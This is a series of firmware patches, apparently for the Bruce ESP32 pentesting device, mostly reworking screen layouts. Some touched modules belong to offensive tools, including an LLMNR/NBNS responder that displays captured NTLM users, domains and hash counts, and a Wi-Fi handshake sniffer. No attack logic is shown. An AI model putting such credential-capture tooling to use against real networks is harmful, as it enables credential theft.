-                    tft.fillScreen(bruceConfig.bgColor);
-                    tft.setCursor(0, 0);
-                    tft.setTextColor(TFT_GREEN);
+                if (tft.getCursorY() > tftHeight - 20) {
+                    drawMainBorderWithTitle("SSH");
+                    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+                    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+                    tft.setTextColor(bruceConfig.secColor);
                     tft.print(commandBuffer); // Move to the next line on display
                     tft.setTextColor(TFT_WHITE);
                 }
+                if (tft.getCursorX() == 0) tft.setCursor(10, tft.getCursorY());
                 cursorY = tft.getCursorY();
             }
             log_d("%s", msg);
@@ -351,18 +358,21 @@ void telnet_loop() {
     }
 
     Serial.println("Connected to TELNET server");
-    tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-    displayTextLine("Connected to TELNET server");
+    drawMainBorderWithTitle("TELNET");
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setCursor(0, 0);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
 
     String commandInput;
 
     while (1) {
+        tft.setCursor(10, tft.getCursorY());
         tft.print("> ");
         // waitForInput(commandInput);
         commandInput = keyboard("", 76, "COMMAND");
+        drawMainBorderWithTitle("TELNET");
+        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+        tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+        tft.println("> " + commandInput);
         const char *command = commandInput.c_str();
         send(sock, command, strlen(command), 0);
 
@@ -382,6 +392,7 @@ if (buffer[0] == 0xFF) {
             Serial.printf("Received from server %s\n", buffer);
             // tft.printf("Received from server %s\n", buffer);
             for (int i = 0; i < len; i++) { Serial.printf("%02X ", buffer[i]); }
+            tft.setCursor(10, tft.getCursorY());
             tft.printf("%s\n", buffer);
 
             tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
@@ -394,19 +405,20 @@ if (buffer[0] == 0xFF) {
 void telnet_setup() {
     if (!wifiConnected) wifiConnectMenu();
 
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setCursor(0, 0);
+    drawMainBorderWithTitle("TELNET");
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     Serial.begin(115200); // Initialize serial communication for debugging
     Serial.println("Starting Setup");
 
     // auto cfg = M5.config();
     // M5Cardputer.begin(cfg, true);
     tft.setRotation(bruceConfigPins.rotation);
-    tft.setTextSize(1); // Set text size
+    tft.setTextSize(FP); // Set text size
 
     cursorY = tft.getCursorY();
 
-    tft.setCursor(0, 0);
+    tft.setCursor(10, tft.getCursorY());
     // tft.print("TELNET Host: \n");
 
     // Here the telnet_server_ip needs to be a char*, thats why the stringTochar()
diff --git a/src/modules/wifi/responder.cpp b/src/modules/wifi/responder.cpp
index e3373f621..fc80d4f6d 100644
--- a/src/modules/wifi/responder.cpp
+++ b/src/modules/wifi/responder.cpp
@@ -195,43 +195,43 @@ String readUTF16(uint8_t *pkt, uint32_t offset, uint16_t len) {
 
 void updateHashUI() {
     // auto& d = M5Cardputer.Display;
-    // tft.fillScreen(bruceConfig.bgColor);
+    // drawMainBorderWithTitle("RESPONDER", true); // clear
 
     // 1) NTLM count
-    tft.setTextSize(1.0);
+    tft.setTextSize(FP);
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setCursor(5, 5);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     tft.print("NTLM: ");
     tft.setTextSize(2);
-    tft.print(hashCount);
+    tft.println(hashCount);
 
     // 2) User
-    tft.setTextSize(1.3);
-    tft.setCursor(5, 30);
+    tft.setTextSize(FP);
+    tft.setCursor(10, tft.getCursorY());
     tft.print("User: ");
     tft.setTextSize(2);
-    tft.print(lastUser);
+    tft.println(lastUser);
 
     // 3) Domain
-    tft.setTextSize(1.3);
-    tft.setCursor(5, 55);
+    tft.setTextSize(FP);
+    tft.setCursor(10, tft.getCursorY());
     tft.print("Domain: ");
     tft.setTextSize(2);
-    tft.print(lastDomain);
+    tft.println(lastDomain);
 
     // 4) Client (hostname)
-    tft.setTextSize(1.3);
-    tft.setCursor(5, 80);
+    tft.setTextSize(FP);
+    tft.setCursor(10, tft.getCursorY());
     tft.print("Client: ");
     tft.setTextSize(2);
-    tft.print(lastClient);
+    tft.println(lastClient);
 
     // 5) Query (NBNS/LLMNR + name)
-    tft.setTextSize(1.3);
-    tft.setCursor(5, 105);
+    tft.setTextSize(FP);
+    tft.setCursor(10, tft.getCursorY());
     tft.print(lastQueryProtocol + ": ");
     tft.setTextSize(2);
-    tft.print(lastQueryName);
+    tft.println(lastQueryName);
 }
 
 void extractAndPrintHash(uint8_t *pkt, uint32_t smbLength, uint8_t *ntlm) {
@@ -564,8 +564,8 @@ void decodeNetBIOSLabel(const uint8_t *enc32, char *out, size_t outSize) {
 ***************************************************************************************/
 void responder() {
 
-    tft.fillScreen(bruceConfig.bgColor);
-    // M5Cardputer.Display.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    drawMainBorderWithTitle("RESPONDER");
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
     if (!wifiConnected) wifiConnectMenu();
 
     netbiosname_str = keyboard("Bruce", 20);
@@ -575,6 +575,9 @@ void responder() {
     dnsdomain_str = keyboard("Bruce.Local", 20);
     dnsDomain = stringTochar(dnsdomain_str);
 
+    drawMainBorderWithTitle("RESPONDER"); // draw again after keyboard
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+
     hashCount = 0;
     // Démarrer l'écoute NBNS (UDP 137)
     if (!nbnsUDP.begin(NBNS_PORT)) { Serial.println(F("Erreur: Impossible to listen on UDP 137")); }
@@ -595,18 +598,18 @@ void responder() {
         //  Choix de la fonction selon le count
         if (hashCount == 0) {
             // showWaitingAnimation();
-            tft.setCursor(0, 0);
-            tft.setTextSize(0);
-            tft.println("Waiting\nLLMNR Interact...");
+            tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+            tft.setTextSize(FP);
+            tft.println("Waiting LLMNR Interact");
         } else if (hashCount == 1) {
-
-            tft.setCursor(60, 90);
-            tft.setTextSize(0);
-            tft.println("Found Interaction!\n\nthanks 7h30th3r0n3");
-
+            drawMainBorderWithTitle("RESPONDER", true);
+            tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+            tft.setTextSize(FP);
+            tft.println("Found Interaction!\nthanks 7h30th3r0n3");
         } else {
-
-            tft.setCursor(60, 90);
+            drawMainBorderWithTitle("RESPONDER", true);
+            tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+            tft.setTextSize(FP);
             tft.println("End");
         }
         // lastAnim = now;
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index 0810204b3..41f4845d6 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -979,9 +979,10 @@ void sniffer_setup() {
     SnifferMode startMode = sniffer_full_mode_available() ? SnifferMode::Full : SnifferMode::HandshakesOnly;
     sniffer_set_mode(startMode);
 
-    displayTextLine("Sniffing Started");
     tft.setTextSize(FP);
-    tft.setCursor(80, 100);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+    tft.println("Sniffing Started");
 
     sniffer_reset_handshake_cache(); // Need to clear to restart HS count
     registeredBeacons.clear();
diff --git a/src/modules/wifi/socks4_proxy.cpp b/src/modules/wifi/socks4_proxy.cpp
index cb104c747..b06ae4be9 100644
--- a/src/modules/wifi/socks4_proxy.cpp
+++ b/src/modules/wifi/socks4_proxy.cpp
@@ -87,15 +87,15 @@ void socks4Proxy(uint16_t port) {
     WiFiServer server(port);
     server.begin();
 
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setTextSize(2);
+    drawMainBorderWithTitle("SOCKS4 PROXY");
+    tft.setTextSize(FP);
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawCentreString("SOCKS4 Proxy", tftWidth / 2, 10, 1);
-    tft.setCursor(0, 28);
-    tft.setTextSize(1);
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     tft.println("Port: " + String(port));
+    tft.setCursor(10, tft.getCursorY());
     tft.println("IP: " + WiFi.localIP().toString());
-    tft.println("Esc: exit");
+    tft.println();
+    tft.setCursor(10, tft.getCursorY());
     tft.println("Waiting for clients...");
     tft.println("");
     Serial.println("[SOCKS4] Listening on " + WiFi.localIP().toString() + ":" + String(port));
@@ -118,13 +118,16 @@ void socks4Proxy(uint16_t port) {
         connCount++;
         client.setNoDelay(true);
         String clientIp = client.remoteIP().toString();
+        tft.setCursor(10, tft.getCursorY());
         tft.println("---");
+        tft.setCursor(10, tft.getCursorY());
         tft.println("CLIENT #" + String(connCount) + " " + clientIp);
         Serial.println("[SOCKS4] Client #" + String(connCount) + " connected from " + clientIp);
 
         if (!readSocks4Request(client, cd, dstPort, dstIp, hostname, sizeof(hostname))) {
             sendSocks4Reply(client, SOCKS4_REP_REJECTED, 0, dstIp);
             client.stop();
+            tft.setCursor(10, tft.getCursorY());
             tft.println("  Bad request");
             Serial.println("[SOCKS4] Bad request from " + clientIp);
             continue;
@@ -132,7 +135,8 @@ void socks4Proxy(uint16_t port) {
         if (cd != SOCKS4_CMD_CONNECT) {
             sendSocks4Reply(client, SOCKS4_REP_REJECTED, 0, dstIp);
             client.stop();
-            tft.println("  Unsupported command");
+            tft.setCursor(10, tft.getCursorY());
+            tft.println("  Unsupported cmd");
             continue;
         }
 
@@ -140,7 +144,8 @@ void socks4Proxy(uint16_t port) {
             hostname[0] != '\0'
                 ? (String(hostname) + ":" + String(dstPort))
                 : (IPAddress(dstIp[0], dstIp[1], dstIp[2], dstIp[3]).toString() + ":" + String(dstPort));
-        tft.println("  -> " + destStr + " ...");
+        tft.setCursor(10, tft.getCursorY());
+        tft.println("  -> " + destStr);
         Serial.println("[SOCKS4] Connecting to " + destStr);
 
         WiFiClient target;
@@ -155,11 +160,13 @@ void socks4Proxy(uint16_t port) {
         if (!ok) {
             sendSocks4Reply(client, SOCKS4_REP_REJECTED, 0, dstIp);
             client.stop();
+            tft.setCursor(10, tft.getCursorY());
             tft.println("  FAILED");
             Serial.println("[SOCKS4] Connect failed: " + destStr);
             continue;
         }
 
+        tft.setCursor(10, tft.getCursorY());
         tft.println("  OK - relaying");
         Serial.println("[SOCKS4] Tunnel up: " + clientIp + " <-> " + destStr);
 
@@ -169,6 +176,7 @@ void socks4Proxy(uint16_t port) {
 
         target.stop();
         client.stop();
+        tft.setCursor(10, tft.getCursorY());
         tft.println("  Closed");
         Serial.println("[SOCKS4] Tunnel closed: " + clientIp + " -> " + destStr);
     }
diff --git a/src/modules/wifi/tcp_utils.cpp b/src/modules/wifi/tcp_utils.cpp
index 5bd51e7ae..f2e30a7a5 100644
--- a/src/modules/wifi/tcp_utils.cpp
+++ b/src/modules/wifi/tcp_utils.cpp
@@ -3,17 +3,13 @@
 #ifndef LITE_VERSION
 #include "modules/wifi/tcp_utils.h"
 #include "core/wifi/wifi_common.h"
+#include "core/display.h"
 
 bool inputMode;
 
 void listenTcpPort() {
     if (!wifiConnected) wifiConnectMenu();
 
-    WiFiClient tcpClient;
-    tft.fillScreen(TFT_BLACK);
-    tft.setTextSize(1);
-    tft.setTextColor(TFT_WHITE, TFT_BLACK);
-
     String portNumber = num_keyboard("", 5, "TCP port to listen");
     if (portNumber.length() == 0) {
         displayError("No port number given, exiting");
@@ -25,18 +21,26 @@ void listenTcpPort() {
         return;
     }
 
+    WiFiClient tcpClient;
+    drawMainBorderWithTitle("LISTEN TCP");
+    tft.setTextSize(FP);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+
     WiFiServer server(portNumberInt);
     server.begin();
 
-    tft.println("Listening...");
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+    tft.println("Listening on:");
+    tft.setCursor(10, tft.getCursorY());
     tft.print(WiFi.localIP().toString().c_str());
     tft.println(":" + portNumber);
 
     for (;;) {
-        WiFiClient client = server.accept(); // Wait for a client to connect
+        WiFiClient client = server.accept();
 
         if (client) {
             Serial.println("Client connected");
+            tft.setCursor(10, tft.getCursorY());
             tft.println("Client connected");
 
             while (client.connected()) {
@@ -49,15 +53,17 @@ void listenTcpPort() {
                         return;
                     }
                     inputMode = false;
-                    tft.fillScreen(TFT_BLACK);
-                    tft.setCursor(0, 0);
+                    drawMainBorderWithTitle("LISTEN TCP");
+                    tft.setTextSize(FP);
+                    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+                    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
                     if (keyString.length() > 0) {
-                        client.print(keyString); // Send the entire string to the client
+                        client.print(keyString);
                         Serial.print(keyString);
                     }
                 } else {
                     if (client.available()) {
-                        char incomingChar = client.read(); // Read one byte at time from the client
+                        char incomingChar = client.read();
                         tft.print(incomingChar);
                         Serial.print(incomingChar);
                     }
@@ -89,24 +95,32 @@ void clientTCP() {
     }
 
     WiFiClient client;
+    drawMainBorderWithTitle("TCP CLIENT");
+    tft.setTextSize(FP);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+
+    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
+    tft.println("Connecting to:");
+    tft.setCursor(10, tft.getCursorY());
+    tft.println(serverIP + ":" + portString);
+
     if (!client.connect(serverIP.c_str(), portNumber)) {
         displayError("Connection failed");
         return;
     }
 
-    tft.fillScreen(TFT_BLACK);
-    tft.setTextSize(1);
-    tft.setTextColor(TFT_WHITE, TFT_BLACK);
-    tft.println("Connected to:");
-    tft.println(serverIP + ":" + portString);
+    tft.setCursor(10, tft.getCursorY());
+    tft.println("Connected!");
     Serial.println("Connected to server");
 
     while (client.connected()) {
         if (inputMode) {
             String keyString = keyboard("", 16, "send input data");
             inputMode = false;
-            tft.fillScreen(TFT_BLACK);
-            tft.setCursor(0, 0);
+            drawMainBorderWithTitle("TCP CLIENT");
+            tft.setTextSize(FP);
+            tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+            tft.setCursor(10, BORDER_PAD_Y + FM * LH);
             if (keyString.length() > 0) {
                 client.print(keyString);
                 Serial.print(keyString);

From 87a6b2fb72b3199a4b825f3ea457aa8134d4b4d6 Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 23:26:10 -0300
Subject: [PATCH 09/73] Change of Apps Icon

---
 src/core/menu_items/AppsMenu.cpp | 34 +++++++++++++++++++++-----------
 1 file changed, 22 insertions(+), 12 deletions(-)

diff --git a/src/core/menu_items/AppsMenu.cpp b/src/core/menu_items/AppsMenu.cpp
index f2078159e..f1ae96d37 100644
--- a/src/core/menu_items/AppsMenu.cpp
+++ b/src/core/menu_items/AppsMenu.cpp
@@ -33,16 +33,26 @@ void AppsMenu::optionsMenu() {
 void AppsMenu::drawIcon(float scale) {
     clearIconArea();
 
-    int size = scale * 14;
-    int gap = scale * 4;
-    int totalW = size * 2 + gap;
-
-    int startX = iconCenterX - totalW / 2;
-    int startY = iconCenterY - totalW / 2;
-
-    // Draw a 2x2 grid of rounded squares (app grid icon)
-    tft.drawRoundRect(startX, startY, size, size, 2, bruceConfig.priColor);
-    tft.drawRoundRect(startX + size + gap, startY, size, size, 2, bruceConfig.priColor);
-    tft.drawRoundRect(startX, startY + size + gap, size, size, 2, bruceConfig.priColor);
-    tft.drawRoundRect(startX + size + gap, startY + size + gap, size, size, 2, bruceConfig.priColor);
+    int iconW = scale * 56;
+    int iconH = scale * 56;
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int cx = iconCenterX;
+    int cy = iconCenterY + (scale * 12);
+
+    int gap = scale * 6;
+    int sq = (iconW - gap) / 2;
+
+    int x1 = cx - sq - gap / 2;
+    int y1 = cy - sq - gap / 2;
+    int x2 = cx + gap / 2;
+    int y2 = cy + gap / 2;
+
+    int r = scale * 5;
+
+    tft.drawRoundRect(x1, y1, sq, sq, r, bruceConfig.priColor);
+    tft.fillRoundRect(x2, y1, sq, sq, r, bruceConfig.priColor);
+    tft.fillRoundRect(x1, y2, sq, sq, r, bruceConfig.priColor);
+    tft.drawRoundRect(x2, y2, sq, sq, r, bruceConfig.priColor);
 }

From 7e47015cbc8c9fe390a0a0e212b1dccbda477d38 Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 23:40:51 -0300
Subject: [PATCH 10/73] Upgraded App Store with config destination of files,
 chage Apps icon again

---
 src/core/menu_items/AppStoreMenu.cpp | 43 ++++++++++++++++++++++++----
 src/core/menu_items/AppsMenu.cpp     | 31 +++++++++++---------
 2 files changed, 54 insertions(+), 20 deletions(-)

diff --git a/src/core/menu_items/AppStoreMenu.cpp b/src/core/menu_items/AppStoreMenu.cpp
index 379e51308..f79d8a146 100644
--- a/src/core/menu_items/AppStoreMenu.cpp
+++ b/src/core/menu_items/AppStoreMenu.cpp
@@ -16,13 +16,13 @@
 #define AS_INST "/BruceAppStore/installed.json"
 #define AS_CACHE "/BruceAppStore/cache/"
 
+static int _destFs = 0;
 static FS *_afs = nullptr;
 
 static void _initFs() {
-    if (_afs) return;
     setupSdCard();
-    _afs = sdcardMounted ? (FS *)&SD : (FS *)&LittleFS;
-    const char *dirs[] = {"/BruceAppStore", AS_CACHE, "/BruceJS"};
+    _afs = (_destFs == 1 && sdcardMounted) ? (FS *)&SD : (FS *)&LittleFS;
+    const char *dirs[] = {"/BruceAppStore", AS_CACHE};
     for (auto d : dirs)
         if (!_afs->exists(d)) _afs->mkdir(d);
 }
@@ -37,9 +37,21 @@ static bool _needWifi() {
     return true;
 }
 
+static void _mkDirRecursive(String path) {
+    int start = 0;
+    while (true) {
+        int idx = path.indexOf('/', start + 1);
+        if (idx < 0) break;
+        String p = path.substring(0, idx);
+        if (!_afs->exists(p)) _afs->mkdir(p);
+        start = idx;
+    }
+}
+
 static String _httpGet(const String &url) {
     HTTPClient http;
     http.begin(url);
+    http.setFollowRedirects(HTTPC_STRICT_FOLLOW_REDIRECTS);
     http.setTimeout(10000);
     String r;
     if (http.GET() == 200) r = http.getString();
@@ -50,6 +62,7 @@ static String _httpGet(const String &url) {
 static bool _httpSave(const String &url, const String &path) {
     HTTPClient http;
     http.begin(url);
+    http.setFollowRedirects(HTTPC_STRICT_FOLLOW_REDIRECTS);
     http.setTimeout(15000);
     if (http.GET() != 200) {
         http.end();
@@ -58,7 +71,7 @@ static bool _httpSave(const String &url, const String &path) {
     int sl = path.lastIndexOf('/');
     if (sl > 0) {
         String d = path.substring(0, sl);
-        if (!_afs->exists(d)) _afs->mkdir(d);
+        _mkDirRecursive(d + "/");
     }
     File f = _afs->open(path, FILE_WRITE);
     if (!f) {
@@ -104,7 +117,7 @@ static void _doInstall(String slug, String appName) {
     String repo = meta["repo"].as<String>();
     String commit = meta["commit"].as<String>();
     String ver = meta["version"].as<String>();
-    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/BruceJS/" + cat + "/";
+    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/" + cat + "/";
     int total = files.size(), ok = 0;
 
     for (int i = 0; i < total; i++) {
@@ -164,7 +177,7 @@ static void _doDelete(String slug, String appName) {
 
     JsonArray files = meta["files"].as<JsonArray>();
     String cat = meta["category"].as<String>();
-    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/BruceJS/" + cat + "/";
+    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/" + cat + "/";
 
     for (int i = 0; i < (int)files.size(); i++) {
         String fn;
@@ -295,6 +308,24 @@ void AppStoreMenu::optionsMenu() {
         String slug = c.slug, name = c.name;
         options.push_back({lbl, [slug, name]() { _catMenu(slug, name); }});
     }
+
+    options.push_back({"Config", []() {
+        bool inConfig = true;
+        while(inConfig && !returnToMenu) {
+            std::vector<Option> cfgOpts;
+            if (sdcardMounted) {
+                cfgOpts.push_back({String("Dest: ") + (_destFs == 1 ? "SD Card" : "LittleFS"), []() {
+                    _destFs = (_destFs == 0) ? 1 : 0;
+                    _afs = nullptr;
+                }});
+            } else {
+                cfgOpts.push_back({"Dest: LittleFS (No SD)", []() {}});
+            }
+            cfgOpts.push_back({"Back", [&inConfig]() { inConfig = false; }});
+            loopOptions(cfgOpts, MENU_TYPE_SUBMENU, "App Store Config");
+        }
+    }});
+
     addOptionToMainMenu();
     loopOptions(options, MENU_TYPE_SUBMENU, "App Store");
 }
diff --git a/src/core/menu_items/AppsMenu.cpp b/src/core/menu_items/AppsMenu.cpp
index f1ae96d37..c3173b33e 100644
--- a/src/core/menu_items/AppsMenu.cpp
+++ b/src/core/menu_items/AppsMenu.cpp
@@ -33,26 +33,29 @@ void AppsMenu::optionsMenu() {
 void AppsMenu::drawIcon(float scale) {
     clearIconArea();
 
-    int iconW = scale * 56;
-    int iconH = scale * 56;
+    int iconW = scale * 60;
+    int iconH = scale * 60;
     if (iconW % 2 != 0) iconW++;
     if (iconH % 2 != 0) iconH++;
 
     int cx = iconCenterX;
-    int cy = iconCenterY + (scale * 12);
+    int cy = iconCenterY;
+    int half = iconW / 2;
 
-    int gap = scale * 6;
-    int sq = (iconW - gap) / 2;
+    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
+    tft.drawLine(cx - half, cy - half + iconH / 4, cx + half, cy - half + iconH / 4, bruceConfig.priColor);
 
-    int x1 = cx - sq - gap / 2;
-    int y1 = cy - sq - gap / 2;
-    int x2 = cx + gap / 2;
-    int y2 = cy + gap / 2;
+    int gridW = iconW / 5;
+    int gridGap = iconW / 8;
 
-    int r = scale * 5;
+    int gridCenterY = cy + iconH / 8;
+    int gx1 = cx - gridW - gridGap / 2;
+    int gy1 = gridCenterY - gridW - gridGap / 2;
+    int gx2 = cx + gridGap / 2;
+    int gy2 = gridCenterY + gridGap / 2;
 
-    tft.drawRoundRect(x1, y1, sq, sq, r, bruceConfig.priColor);
-    tft.fillRoundRect(x2, y1, sq, sq, r, bruceConfig.priColor);
-    tft.fillRoundRect(x1, y2, sq, sq, r, bruceConfig.priColor);
-    tft.drawRoundRect(x2, y2, sq, sq, r, bruceConfig.priColor);
+    tft.fillRect(gx1, gy1, gridW, gridW, bruceConfig.priColor);
+    tft.drawRect(gx2, gy1, gridW, gridW, bruceConfig.priColor);
+    tft.drawRect(gx1, gy2, gridW, gridW, bruceConfig.priColor);
+    tft.fillRect(gx2, gy2, gridW, gridW, bruceConfig.priColor);
 }

From 37e0ee739dae3e264da63a3a6306a42dc613fe45 Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 23:55:05 -0300
Subject: [PATCH 11/73] Organized menu sections & merged connect in files
 section

---
 src/core/main_menu.cpp           | 29 +++++++++++++----------------
 src/core/menu_items/FileMenu.cpp | 15 +++++++++++++++
 2 files changed, 28 insertions(+), 16 deletions(-)

diff --git a/src/core/main_menu.cpp b/src/core/main_menu.cpp
index 73603b742..e6f4cf9d0 100644
--- a/src/core/main_menu.cpp
+++ b/src/core/main_menu.cpp
@@ -7,32 +7,29 @@ MainMenu::MainMenu() {
     _menuItems = {
         &wifiMenu,
         &bleMenu,
+        &rfMenu,
+        &nrf24Menu,
 #if !defined(LITE_VERSION)
-        &ethernetMenu,
+        &loraMenu,
 #endif
-        &rfMenu,
-        &rfidMenu,
-        &irMenu,
 #if defined(FM_SI4713) && !defined(LITE_VERSION)
         &fmMenu,
 #endif
-        &fileMenu,
-        &gpsMenu,
-        &nrf24Menu,
+        &irMenu,
 #if !defined(LITE_VERSION)
-#if !defined(DISABLE_INTERPRETER)
-        &scriptsMenu,
-        &appsMenu,
-#endif
-        &loraMenu,
+        &ethernetMenu,
 #endif
+        &gpsMenu,
+        &rfidMenu,
+        &fileMenu,
 #if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-        &appStoreMenu,
+        &scriptsMenu,
 #endif
-        &othersMenu,
         &clockMenu,
-#if !defined(LITE_VERSION)
-        &connectMenu,
+        &othersMenu,
+#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
+        &appsMenu,
+        &appStoreMenu,
 #endif
         &configMenu,
     };
diff --git a/src/core/menu_items/FileMenu.cpp b/src/core/menu_items/FileMenu.cpp
index ef56057de..e73dc3290 100644
--- a/src/core/menu_items/FileMenu.cpp
+++ b/src/core/menu_items/FileMenu.cpp
@@ -4,6 +4,8 @@
 #include "core/sd_functions.h"
 #include "core/utils.h"
 #include "core/wifi/webInterface.h"
+#include "core/connect/file_sharing.h"
+#include "core/connect/serial_commands.h"
 
 void FileMenu::optionsMenu() {
     options.clear();
@@ -11,6 +13,19 @@ void FileMenu::optionsMenu() {
     options.push_back({"LittleFS", [=]() { loopSD(LittleFS); }});
     options.push_back({"WebUI", loopOptionsWebUi});
 
+#if !defined(LITE_VERSION)
+    options.push_back({"Connect", [=]() {
+        std::vector<Option> connectOpts = {
+            {"Send File", [=]() { FileSharing().sendFile(); }        },
+            {"Recv File", [=]() { FileSharing().receiveFile(); }     },
+            {"Send Cmds", [=]() { EspSerialCmd().sendCommands(); }   },
+            {"Recv Cmds", [=]() { EspSerialCmd().receiveCommands(); }},
+            {"Back",      [=]() { optionsMenu(); }                   }
+        };
+        loopOptions(connectOpts, MENU_TYPE_SUBMENU, "Connect");
+    }});
+#endif
+
 #if defined(SOC_USB_OTG_SUPPORTED)
     options.push_back({"Mass Storage", [=]() { MassStorage(); }});
 #endif

From 1538a55ac0940e25e1340ce1aa1cf2c7ee0ac42f Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Mon, 23 Mar 2026 00:30:48 -0300
Subject: [PATCH 12/73] Changes in WebUI

---
 build_out.txt                  | 123 +++++
 icons.txt                      | 866 +++++++++++++++++++++++++++++++++
 src/core/wifi/webInterface.cpp |  56 ++-
 3 files changed, 1021 insertions(+), 24 deletions(-)
 create mode 100644 build_out.txt
 create mode 100644 icons.txt

diff --git a/build_out.txt b/build_out.txt
new file mode 100644
index 000000000..c8e865ed8
--- /dev/null
+++ b/build_out.txt
@@ -0,0 +1,123 @@
+Processing lilygo-t-embed-cc1101 (board: lilygo-t-embed-cc1101; platform: https://github.com/pioarduino/platform-espressif32/releases/download/55.03.36/platform-espressif32.zip; framework: arduino)
+--------------------------------------------------------------------------------
+Library Manager: Installing h2zero/NimBLE-Arduino
+Library Manager: Installing h2zero/NimBLE-Arduino
+Library Manager: Installing h2zero/NimBLE-Arduino
+Library Manager: Installing whywilson/ESP-PN532-UART
+Verbose mode can be enabled via `-v, --verbose` option
+[GZIP & EMBED INTO HEADER] - Nothing to process.
+ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488 ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488
+CONFIGURATION: https://docs.platformio.org/page/boards/espressif32/lilygo-t-embed-cc1101.html
+PLATFORM: Espressif 32 (55.3.36) > LilyGo T-Embed-PN532 (16M Flash 8M QSPI PSRAM)
+HARDWARE: ESP32S3 240MHz, 320KB RAM, 16MB Flash
+DEBUG: Current (esp-builtin) On-board (esp-builtin) External (cmsis-dap, esp-bridge, esp-prog, iot-bus-jtag, jlink, minimodule, olimex-arm-usb-ocd, olimex-arm-usb-ocd-h, olimex-arm-usb-tiny-h, olimex-jtag-tiny, tumpa)
+PACKAGES: 
+ - contrib-piohome @ 3.4.4 
+ - framework-arduinoespressif32 @ 3.3.6 
+ - framework-arduinoespressif32-libs @ 5.5.0+sha.30aaf64524 
+ - tool-esp-rom-elfs @ 2024.10.11 
+ - tool-esptoolpy @ 5.1.0 
+ - toolchain-xtensa-esp-elf @ 14.2.0+20251107
+*** Applied include path shortening for 331 framework paths ***
+*** Path length reduced from 40496 to ~13782 characters ***
+*** Estimated savings: 26149 characters ***
+LDF: Library Dependency Finder -> https://bit.ly/configure-pio-ldf
+LDF Modes: Finder ~ chain, Compatibility ~ soft
+Found 90 compatible libraries
+Scanning dependencies...
+Dependency Graph
+|-- WireGuard-ESP32 @ 0.1.5+sha.4e22d2e
+|-- IRremoteESP8266 @ 2.8.6+sha.22cd38c
+|-- Time @ 1.6.1
+|-- LibSSH-ESP32 @ 5.8.0
+|-- Adafruit BusIO @ 1.17.2-bruce.1+sha.27230c1
+|-- Adafruit PN532 @ 1.3.3-bruce.1+sha.e91d695
+|-- BER-TLV @ 0.0.0+20260322182116.sha.bd61b70
+|-- RFID_MFRC522v2 @ 2.0.6+sha.a6977df
+|-- ESP Chameleon Ultra @ 0.0.2+sha.f66f354
+|-- ESP Amiibolink @ 0.0.2+sha.fc26412
+|-- SimpleCLI @ 1.1.4+sha.b23d377
+|-- ESP PN32BLE @ 0.0.2+sha.542f121
+|-- ESP PN532 UART @ 0.0.2+sha.8021fde
+|-- ESP PN532Killer @ 0.0.7+sha.71bf110
+|-- NTPClient @ 3.2.1
+|-- ESP32Time @ 2.0.6
+|-- FFat @ 3.3.6
+|-- ArduinoJson @ 7.4.3
+|-- rc-switch @ 2.6.4+sha.2c43b93
+|-- ESP8266Audio @ 2.4.1
+|-- ESP8266SAM @ 1.1.0
+|-- TinyGPSPlus @ 1.1.0
+|-- FFT @ 0.0.1
+|-- NimBLE-Arduino @ 2.4.0
+|-- RF24 @ 1.4.11
+|-- Adafruit Si4713 Library @ 1.2.3
+|-- JPEGDecoder @ 2.0.0
